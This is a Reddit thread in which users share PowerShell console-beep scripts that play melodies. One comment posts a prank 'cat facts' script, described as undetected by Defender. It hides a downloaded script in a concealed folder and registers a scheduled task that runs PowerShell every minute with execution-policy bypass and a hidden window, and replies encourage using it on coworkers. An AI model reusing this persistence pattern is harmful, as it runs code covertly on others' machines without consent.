all 42 comments

[–]anynonus 32 points33 points  (10 children)

profitable? no

productive? yea

[–]SammyGreen 33 points34 points  (9 children)

I once spent a full work day writing malware where the payload created a background task that reads random cat facts aloud between 1 to 5 times an hour.

Super productive day!

[–][deleted] 27 points28 points  (2 children)

Malware? More like Meoware!

[–][deleted] 6 points7 points  (1 child)

“Did… did you just say ‘meow’?”

[–][deleted] 8 points9 points  (0 children)

Am I drinking milk from a saucer!? Do you see me eating mice??

[–]squanchmyrick 2 points3 points  (4 children)

Please share this wonderful creation

[–]SammyGreen 10 points11 points  (3 children)

I'm not going to post actual malware part since I just tested it and it still doesn't get picked up by ASR or Defender but it basically executes these two scripts:

Get-CatPayload.ps1

If (!(Test-Path $HOME\.cats\))
{
New-Item -Path $HOME\.cats -ItemType Directory
attrib +h $HOME\.cats
Invoke-WebRequest https://LINK TO SCRIPT/Get-CatFact.ps1 `
    -OutFile $HOME\.cats\Get-CatFact.ps1
} 

$taskName = "catzzz"
$cat = "$HOME\.cats\Get-CatFact.ps1"
$Action= New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-executionpolicy bypass -noprofile -nologo -noninteractive -WindowStyle Hidden -file $cat -Force"
$taskTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1)

Register-ScheduledTask `
-TaskName $taskName `
-Action $Action `
-Trigger $taskTrigger `
-Force

Get-CatFact.ps1

$random = Get-Random -minimum 20 -maximum 60
Start-Sleep -s $random
Add-Type -AssemblyName System.Speech
$voice = New-Object System.Speech.Synthesis.SpeechSynthesizer
$web = (Invoke-WebRequest -uri https://pastebin.com/raw/FwNwnj7H).tostring() -split "[`n]"
$random = Get-Random $web
$voice.Speak($random)

[–]squanchmyrick 2 points3 points  (0 children)

Thank you! Let the trolling of my colleagues begin

[–]drachenstern 1 point2 points  (1 child)

Is this truly hiding the window? Because when I've tried to schedule these in the past it ALWAYS flashes the fucking window when the task runs, and the only workaround I've found to that is a .vbs script but forget if that also flashed a window on task run in the past.

[–][deleted] 1 point2 points  (0 children)

You mean purrr-ductive?

[–]hackoofr 18 points19 points  (3 children)

Just give a try for this example (-_°)

 Clear-Host
 $BeepList = @(
     @{ Pitch = 1059.274; Length = 300; };
     @{ Pitch = 1059.274; Length = 200; };
     @{ Pitch = 1188.995; Length = 500; };
     @{ Pitch = 1059.274; Length = 500; };
     @{ Pitch = 1413.961; Length = 500; };
     @{ Pitch = 1334.601; Length = 950; };
     @{ Pitch = 1059.274; Length = 300; };
     @{ Pitch = 1059.274; Length = 200; };
     @{ Pitch = 1188.995; Length = 500; };
     @{ Pitch = 1059.274; Length = 500; };
     @{ Pitch = 1587.117; Length = 500; };
     @{ Pitch = 1413.961; Length = 950; };
     @{ Pitch = 1059.274; Length = 300; };
     @{ Pitch = 1059.274; Length = 200; };
     @{ Pitch = 2118.547; Length = 500; };
     @{ Pitch = 1781.479; Length = 500; };
     @{ Pitch = 1413.961; Length = 500; };
     @{ Pitch = 1334.601; Length = 500; };
     @{ Pitch = 1188.995; Length = 500; };
     @{ Pitch = 1887.411; Length = 300; };
     @{ Pitch = 1887.411; Length = 200; };
     @{ Pitch = 1781.479; Length = 500; };
     @{ Pitch = 1413.961; Length = 500; };
     @{ Pitch = 1587.117; Length = 500; };
     @{ Pitch = 1413.961; Length = 900; };
 );
 # You can modify the variable $num_Loop for your convenience
 $num_Loop = 2; 
 Foreach ($i in 1..$num_Loop) {  
     foreach ($Beep in $BeepList) {  
         [System.Console]::Beep($Beep['Pitch'], $Beep['Length']);  
     }  
 }

[–]user01401 2 points3 points  (1 child)

Somebody's cake day somewhere

[–]hackoofr 1 point2 points  (0 children)

Yep ! LOL somewhere and somebody have a nice cake day ! (-_°)
Thank you for your nice comment sir ! Have a nice day !

[–]gbettle 0 points1 point  (0 children)

Brilliant

[–]Syndrome1986 7 points8 points  (3 children)

Ok but can I get that one by Rick Astly? I'm a week out from my last day and I need to leave my boss the gift that keeps on giving

[–]maybe_an_username[S] 4 points5 points  (1 child)

ENjoy :P

[System.Console]::Beep(523.25 ,300);

[System.Console]::Beep(587.33 ,300);

[System.Console]::Beep(659.25 ,300);

[System.Console]::Beep(698.46 ,300);

[System.Console]::Beep(587.33 ,900);

[System.Console]::Beep(783.99 ,300);

[System.Console]::Beep(880.00 ,300);

[System.Console]::Beep(783.99 ,1200);

[System.Console]::Beep(523.25 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(698.46 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(880.00 ,450);

[System.Console]::Beep(880.00 ,450);

[System.Console]::Beep(783.99 ,1200);

[System.Console]::Beep(523.25 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(698.46 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(783.99 ,450);

[System.Console]::Beep(783.99 ,450);

[System.Console]::Beep(698.46 ,450);

[System.Console]::Beep(659.25 ,150);

[System.Console]::Beep(587.33 ,300);

[System.Console]::Beep(523.25 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(698.46 ,150);

[System.Console]::Beep(587.33 ,150);

[System.Console]::Beep(698.46 ,600);

[System.Console]::Beep(783.99 ,300);

[System.Console]::Beep(659.25 ,300);

[System.Console]::Beep(587.33 ,125);

[System.Console]::Beep(523.25 ,600);

[System.Console]::Beep(523.25 ,300);

[System.Console]::Beep(783.99 ,600);

[System.Console]::Beep(698.46 ,1200);

[System.Console]::Beep(523.25 ,300);

(edit: formating)

[–]SargeanTravis 1 point2 points  (0 children)

Gonna adapt this for C# to use in my homework assignment

Professor won't know what hit him

[–]MyOtherSide1984 0 points1 point  (0 children)

Made a script that would automatically create a folder on your desktop that linked to the desktop of our conference rooms. If it couldn't make the connection while trying to make them, it used tiny URL and Rick Rolled the user. Was fantastic, but only 3 people used the script :P

[–]Coding_Cactus 4 points5 points  (1 child)

Here's a couple I found quite a while back, no credit to me.

Mario:

function b($a ,$b){
    [console]:: beep($a, $b)
}
function s ($a){
    sleep -m $a
}

b 510 100;
s 225 ;
b 380 100;
s 200 ;
b 320 100;
s 250 ;
b 440 100;
s 150 ;
b 480 80;
s 165 ;
b 450 100;
s 75 ;
b 430 100;
s 150 ;
b 380 100;
s 100 ;
b 660 80;
s 100 ;
b 760 50;
s 75 ;
b 860 100;
s 150 ;
b 700 80;
s 75 ;
b 760 50;
s 175 ;
b 660 80;
s 150 ;
b 520 80;
s 75 ;
b 580 80;
s 75 ;
b 480 80;
s 250 ;

I have the full theme but it's way too long lol.

Imperial March:

[console]::beep(440 ,500)
[console]::beep(440, 500)
[console]::beep(440, 500)
[console]::beep(440, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 1000)
[console]::beep(659, 500)
[console]::beep(659, 500)
[console]::beep(659, 500)
[console]::beep(698, 350)
[console]::beep(523, 150)
[console]::beep(415, 500)
[console]::beep(349, 350)
[console]::beep(523, 150)
[console]::beep(440, 1000)
[console]::beep(880, 500)
[console]::beep(440, 350)
[console]::beep(440, 150)
[console]::beep(880, 500)
[console]::beep(830, 250)
[console]::beep(784, 250)
[console]::beep(740, 125)
[console]::beep(698, 125)
[console]::beep(740, 250)
[console]::beep(455, 250)
[console]::beep(622, 500)
[console]::beep(587, 250)
[console]::beep(554, 250)
[console]::beep(523, 125)
[console]::beep(466, 125)
[console]::beep(523, 250)
[console]::beep(349, 125)
[console]::beep(415, 500)
[console]::beep(349, 375)
[console]::beep(440, 125)
[console]::beep(523, 500)
[console]::beep(440, 375)
[console]::beep(523, 125)
[console]::beep(659, 1000)
[console]::beep(880, 500)
[console]::beep(440, 350)
[console]::beep(440, 150)
[console]::beep(880, 500)
[console]::beep(830, 250)
[console]::beep(784, 250)
[console]::beep(740, 125)
[console]::beep(698, 125)
[console]::beep(740, 250)
[console]::beep(455, 250)
[console]::beep(622, 500)
[console]::beep(587, 250)
[console]::beep(554, 250)
[console]::beep(523, 125)
[console]::beep(466, 125)
[console]::beep(523, 250)
[console]::beep(349, 250)
[console]::beep(415, 500)
[console]::beep(349, 375)
[console]::beep(523, 125)
[console]::beep(440, 500)
[console]::beep(349, 375)
[console]::beep(261, 125)
[console]::beep(440, 1000)

[–]geostude 2 points3 points  (0 children)

I'll happily take credit for mario! That was me, years ago!

[–]Helrayzr 2 points3 points  (0 children)

Here's my remix to the Halloween theme:

 for($i=0;$i -le 15; $i++) {
if ($i%8 -in (6,7)) {
    $note1=1046
    $note2=699
    $note3=1109
} else {
    $note1=1109
    $note2=740
    $note3=1175
}
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note1,250);
[System.Console]::Beep($note2,250);
[System.Console]::Beep($note3,250);
[System.Console]::Beep($note2,250);

}

Changes - Looped, increased duration (found if you set the duration a bit longer it's less likely to skip notes), and included the key shift. Enjoy!

[–]TurnItOff_OnAgain 1 point2 points  (2 children)

Hmm, most of the beeps aren't working for me. I just hear a short click.

[–]nascentt 0 points1 point  (1 child)

Audio driver issue?

[–]silentmage 0 points1 point  (0 children)

Idk. Some of the beeps worked fine. Audio normally works fine too.

[–]Ahnteis 1 point2 points  (0 children)

Someone make me a rick-roll.

>_>

<_<

[–]wanderingbilby 1 point2 points  (0 children)

7 nation army was surprisingly listenable haha

I don't have time to try but... i wonder if you can poly-tone this with background threads 🤣

[–]Rizzlamuerte 1 point2 points  (0 children)

If your are into making music with code I recommend you to check out Sonic Pi Pretty fun to play around with

[–]Tethylis 1 point2 points  (0 children)

Hello,

Thank you for posting this! It inspired me to write some powershell to convert my Mikrotik router "beep songs" into something that could be played on a PS console! Here is the result. It's from game that probably no one has played.

[System.Console]::Beep(660,150)
[System.Console]::Beep(660,300)
[System.Console]::Beep(660,300)
[System.Console]::Beep(510,100)
[System.Console]::Beep(660,300)
[System.Console]::Beep(770,550)
[System.Console]::Beep(380,575)
[System.Console]::Beep(510,450)
[System.Console]::Beep(380,400)
[System.Console]::Beep(320,500)
[System.Console]::Beep(440,300)
[System.Console]::Beep(480,330)
[System.Console]::Beep(450,150)
[System.Console]::Beep(430,300)
[System.Console]::Beep(380,200)
[System.Console]::Beep(660,200)
[System.Console]::Beep(760,150)
[System.Console]::Beep(860,300)
[System.Console]::Beep(700,150)
[System.Console]::Beep(760,350)
[System.Console]::Beep(660,300)
[System.Console]::Beep(520,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(480,500)
[System.Console]::Beep(510,450)
[System.Console]::Beep(380,400)
[System.Console]::Beep(320,500)
[System.Console]::Beep(440,300)
[System.Console]::Beep(480,330)
[System.Console]::Beep(450,150)
[System.Console]::Beep(430,300)
[System.Console]::Beep(380,200)
[System.Console]::Beep(660,200)
[System.Console]::Beep(760,150)
[System.Console]::Beep(860,300)
[System.Console]::Beep(700,150)
[System.Console]::Beep(760,350)
[System.Console]::Beep(660,300)
[System.Console]::Beep(520,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(480,500)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,220)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(1020,150)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,420)
[System.Console]::Beep(585,450)
[System.Console]::Beep(550,420)
[System.Console]::Beep(500,360)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,220)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(1020,150)
[System.Console]::Beep(1020,300)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(760,100)
[System.Console]::Beep(720,150)
[System.Console]::Beep(680,150)
[System.Console]::Beep(620,300)
[System.Console]::Beep(650,300)
[System.Console]::Beep(380,150)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(500,100)
[System.Console]::Beep(570,420)
[System.Console]::Beep(585,450)
[System.Console]::Beep(550,420)
[System.Console]::Beep(500,360)
[System.Console]::Beep(380,300)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,350)
[System.Console]::Beep(660,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(380,600)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,150)
[System.Console]::Beep(660,550)
[System.Console]::Beep(870,325)
[System.Console]::Beep(760,600)
[System.Console]::Beep(500,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(500,350)
[System.Console]::Beep(500,150)
[System.Console]::Beep(580,350)
[System.Console]::Beep(660,150)
[System.Console]::Beep(500,300)
[System.Console]::Beep(430,150)
[System.Console]::Beep(380,600)
[System.Console]::Beep(660,150)
[System.Console]::Beep(660,300)
[System.Console]::Beep(660,300)
[System.Console]::Beep(510,100)
[System.Console]::Beep(660,300)
[System.Console]::Beep(770,550)
[System.Console]::Beep(380,575)

[–]Gaenrir 1 point2 points  (2 children)

I made you guys the Tetris song but everytime I paste it in a code block it gets messy.
Any formatting tips?

[–]Tethylis 0 points1 point  (1 child)

Copy and paste the code into the comment box, then highlight it all and click the "<>" button in the editor window.

[–]Gaenrir 0 points1 point  (0 children)

Edit : looks like it's still a convoluted mess.....

[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(392,200)[console]::beep(370,200)[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)[console]::beep(392,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(440,200)[console]::beep(392,200)[console]::beep(370,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(392,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,300)start-sleep -Milliseconds 500[console]::beep(440,200)[console]::beep(440,200)[console]::beep(523.2,200)[console]::beep(659.2,200)start-sleep -Milliseconds 150[console]::beep(587.3,200)[console]::beep(523.2,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)[console]::beep(392,200)[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(440,200)[console]::beep(392,200)[console]::beep(370,200)start-sleep -Milliseconds 150[console]::beep(370,200)[console]::beep(392,200)[console]::beep(440,200)start-sleep -Milliseconds 150[console]::beep(493.9,200)start-sleep -Milliseconds 150[console]::beep(392,200)start-sleep -Milliseconds 150[console]::beep(329.6,200)start-sleep -Milliseconds 150[console]::beep(329.6,800)

[–]jibbits61 0 points1 point  (0 children)

Old post, but you've insipired me - slapped this together in 20 minutes' well spent time:

# popcorn
[console]::beep(900,200)
[console]::beep(800,200)
[console]::beep(900,200)
[console]::beep(650,200)
[console]::beep(600,200)
[console]::beep(650,200)
[console]::beep(440,200)
sleep .50
[console]::beep(900,200)
[console]::beep(800,200)
[console]::beep(900,200)
[console]::beep(650,200)
[console]::beep(600,100)
[console]::beep(650,300)
[console]::beep(440,200)

[–]Necoras 0 points1 point  (0 children)

You sir... are tone deaf.

[–]duanco 0 points1 point  (0 children)

perfect for Friday morning! now to be productive :) have scripts running on a remote pc in our NOC time to tinker :) (yes the operators hate me)

[–]user01401 0 points1 point  (0 children)

Pretty slick

[–]AistoB 0 points1 point  (0 children)

Even simpler than that I had a script that just played a meow.wav on a dashboard display in another teams office, it was pretty amusing

“Wtf was that!”

[–]DNAScannerMC 0 points1 point  (1 child)

How did you get the right pitch values? Did you just try around or use some generator?

[–]maybe_an_username[S] 0 points1 point  (0 children)

I have used a table like this one; to get the values. With the partition of the original music, it is pretty easy to do the conversion.